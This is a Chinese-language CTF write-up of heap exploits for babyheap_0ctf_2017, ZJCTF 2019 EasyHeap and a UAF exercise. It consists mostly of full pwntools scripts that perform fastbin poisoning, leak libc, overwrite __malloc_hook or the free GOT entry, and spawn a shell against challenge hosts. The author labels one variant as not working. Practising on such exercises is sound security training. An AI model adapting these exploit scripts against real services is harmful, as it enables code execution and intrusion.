堆溢出

babyheap_0ctf_2017

典型堆溢出,但使用了calloc(在malloc后会清空申请的空间),对泄露libc造成了一些麻烦

解法不少,目前学了一种

思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
堆地址未知
add0,1,2,3(只有3要求大一些,放到unsorted)
0作用:修改1和2
free1
free2
会放到fastbin,2->1
0溢出,穿过1,修改2的fd指针,改到3的身上
fastibn:2->3(1丢失)
add 1(申请到2)

按理来说再add 2就可以申请到3,双重身份,但是3的大小不符合fast,必然申请不出来所以
fill 1 (用2溢出到3,修改3的大小到0x10,满足fast)
add 2(申请到了3)
add 4(0x80,防止合并到top)
fill 1 (再改回去,保证等等放到unsorted)
free 3 (放到第一个unsorted,fd和bd都会变成libc_areas+xx)
dump 2 查看3里面的fd
泄露libc完成,后面的就是常规堆溢出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level = "debug"
context.arch="amd64"

one=[0x45216,0x4526a]

def add(size):
p.sendlineafter("Command:","1")
p.sendlineafter("Size:",str(size))

def fill(index,context):
p.sendlineafter("Command:","2")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Size:", str(len(context)))
p.sendlineafter("Content:", context)
def free(index):
p.sendlineafter("Command:","3")
p.sendlineafter("Index:", str(index))

def dump(index):
p.sendlineafter("Command:","4")
p.sendlineafter("Index:", str(index))
def pwn(i):

try:
add(0x10) # 0
add(0x10) # 1
add(0x10) # 2
add(0x80) # 3

free(1) # 释放1
free(2) # 释放2
fill(0, b"a" * 0x10 + p64(0) + p64(0x21) + b"a" * 0x10 + p64(0) + p64(0x21) + p8(0x60)) # 使2指向3
add(0x10) # 申请回来2编号为1
fill(1, b"a" * 0x10 + p64(0) + p64(0x21))
add(0x10) # 申请到3编号为2
add(0x80) # 防止合并,编号为5
fill(1, b"a" * 0x10 + p64(0) + p64(0x91))
free(3) # 把3放到uns
# attach(p)
dump(2) # dump(2)#查看3中的libc
libc = u64(p.recvuntil("\x7f")[-6:] + b"\0" * 2)
malloc_hook = libc - 0x68
libc_base = libc + 0x7f7a5ee00000 - 0x7f7a5f1c4b78
one_gadget=one[1]+libc_base
print(hex(libc))
success(hex(malloc_hook))
add(0x80) # 取出3,放到3,把exp两部分分开
add(0x60) # 6
add(0x60) # 7
add(0x60) # 8,防合并
free(7)
fill(6, b"a" * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x10 - i))
add(0x60) # 7
add(0x60) # 8,mallochook
fill(8, b"aaa"+p64(one_gadget))
add(0x10)
p.interactive()
except:
pass


p = remote("node4.buuoj.cn",27576)
pwn(3)

第二天看其他人的wp,发现不需要另起炉灶,下面是简易的exp

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.log_level = "debug"
context.arch="amd64"

one=[0x45216,0x4526a]

def add(size):
p.sendlineafter("Command:","1")
p.sendlineafter("Size:",str(size))

def fill(index,context):
p.sendlineafter("Command:","2")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Size:", str(len(context)))
p.sendlineafter("Content:", context)
def free(index):
p.sendlineafter("Command:","3")
p.sendlineafter("Index:", str(index))

def dump(index):
p.sendlineafter("Command:","4")
p.sendlineafter("Index:", str(index))


p = process("./heap")

add(0x10) # 0
add(0x10) # 1
add(0x10) # 2
add(0x80) # 3

free(1) # 释放1
free(2) # 释放2
fill(0, b"a" * 0x10 + p64(0) + p64(0x21) + b"a" * 0x10 + p64(0) + p64(0x21) + p8(0x60)) # 使2指向3
add(0x10) # 申请回来2编号为1
fill(1, b"a" * 0x10 + p64(0) + p64(0x21))
add(0x10) # 申请到3编号为2
add(0x80) # 防止合并,编号为4
fill(1, b"a" * 0x10 + p64(0) + p64(0x91))
free(3) # 把3放到uns
# attach(p)
dump(2) # dump(2)#查看3中的libc
libc = u64(p.recvuntil("\x7f")[-6:] + b"\0" * 2)
malloc_hook = libc - 0x68
libc_base = libc + 0x7f7a5ee00000 - 0x7f7a5f1c4b78
one_gadget = one[1] + libc_base
print(hex(libc))
success(hex(malloc_hook))
add(0x60) # 取出一部分3,编号为3
free(3)
fill(1,b"a" * 0x10 + p64(0) + p64(0x71)+p64(malloc_hook-0x23))

add(0x60)
add(0x60)
#attach(p)
fill(5,b'a'*0x13+p64(one_gadget))
add(10)
p.interactive()

[ZJCTF 2019]EasyHeap

思路

本题也是直接给了栈溢出,不过没有show函数,没法泄露libc

直接给了system函数,但是我一开始不会用,于是有了一个离奇的办法,伪造一个chunk到got表,free函数在got表的第一个,我把one_gadget塞里面去,需要爆破,概率是1/16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.log_level = "debug"
context.arch = "amd64"

one = [0x45216, 0x4526a,0xf1147,0xf02a4]


def add(size, context):
p.sendafter("Your choice :", "1")
p.sendafter("Size of Heap :", str(size))
p.sendafter("Content of heap:", context)


def fill(index, context):
p.sendafter("Your choice :", "2")
p.sendafter("Index :", str(index))
p.sendafter("Size of Heap :", str(size(context)))
p.sendafter("Content of heap :", context)


def free(index):
p.sendafter("Your choice :", "3")
p.sendafter("Index :", str(index))


# def dump(index):
# p.sendafter("Your choice :","4")
# p.sendafter("Index:", str(index))

for i in range(100):
try:
#p = process("./easyheap")
p=remote("node4.buuoj.cn",25384)

add(0x10, b'a') # 0
add(0x50, b'a') # 1
add(0x10, b'a') # 2,fang he bing
free(1)
fill(0, b'a' * 0x10 + p64(0) + p64(0x61) + p64(0x601ffa))

add(0x50, b'a') # 3

add(0x50, b'a' * (0x602018 - 0x601ffa - 0x10) + p8(0xa4) + p8(0x02) + p8(0xef)) # 4,magic 0x45216 0xf02a4
#attach(p)
free(0)
p.sendline("cat flag")
p.interactive()
except:
pass

看了看佬的exp,稍微改了一下我的

改进版(有问题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context.log_level = "debug"
context.arch = "amd64"

one = [0x45216, 0x4526a,0xf1147,0xf02a4]


def add(size, context):
p.sendafter("Your choice :", "1")
p.sendafter("Size of Heap :", str(size))
p.sendafter("Content of heap:", context)


def fill(index, context):
p.sendafter("Your choice :", "2")
p.sendafter("Index :", str(index))
p.sendafter("Size of Heap :", str(size(context)))
p.sendafter("Content of heap :", context)


def free(index):
p.sendafter("Your choice :", "3")
p.sendafter("Index :", str(index))


# def dump(index):
# p.sendafter("Your choice :","4")
# p.sendafter("Index:", str(index))


p = process("./easyheap")
#p = remote("node4.buuoj.cn", 25384)

add(0x10, b'/bin/sh') # 0
add(0x50, b'a') # 1
add(0x10, b'/bin/sh\0') # 2,fang he bing
free(1)
fill(0, b'a' * 0x10 + p64(0) + p64(0x61) + p64(0x601ffa))

add(0x50, b'a') # 3

add(0x50, b'a' * (0x602018 - 0x601ffa - 0x10) + p64(0x400700)) # 4,magic 0x45216 0xf02a4
attach(p)
free(2)
p.interactive()

问题很简单,system函数未被调用,所以got还需初始化,而我们修改free的时候把基地址破坏掉了

如果想要打通,可以先跑一次system,懒得搞了

最终版

在bss段里的,自创的chuck表上方下方创建chunk,修改chunk0的地址,改到free函数的got表,修改got表,改为system,再free一个写有/bin/sh的chunk,就变成了system(“/bin/sh”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context.log_level = "debug"
context.arch = "amd64"

one = [0x45216, 0x4526a,0xf1147,0xf02a4]


def add(size, context):
p.sendafter("Your choice :", "1")
p.sendafter("Size of Heap :", str(size))
p.sendafter("Content of heap:", context)


def fill(index, context):
p.sendafter("Your choice :", "2")
p.sendafter("Index :", str(index))
p.sendafter("Size of Heap :", str(size(context)))
p.sendafter("Content of heap :", context)


def free(index):
p.sendafter("Your choice :", "3")
p.sendafter("Index :", str(index))


# def dump(index):
# p.sendafter("Your choice :","4")
# p.sendafter("Index:", str(index))


p = process("./easyheap")
p = remote("node4.buuoj.cn", 28047)


add(0x10, b'a') # 0
add(0x60, b'a') # 1
add(0x10, b'/bin/sh\0') # 2,fang he bing
free(1)
fill(0, b'a' * 0x10 + p64(0) + p64(0x71) + p64(0x6020ad))
add(0x60, b'a') # 1
add(0x60, b'a' * 0x23 + p64(0x602018)) # 3,magic 0x45216 0xf02a4
fill(0,p64(0x00400700))
#attach(p)
free(2)
p.interactive()

UAF

练手小题

有一个chunk存输出函数,申请一个等大的堆,倒腾了两下,跳后门去了

1
2
3
4
5
6
7
8
9
10
11
12
p = remote("node4.buuoj.cn", 25065)

magic=0x8048945
add(0x8,b'a')
add(0x20,b'a')
add(0x8,b'a')
free(0)
free(1)

add(0x8,p32(magic))
#attach(p)
p.interactive()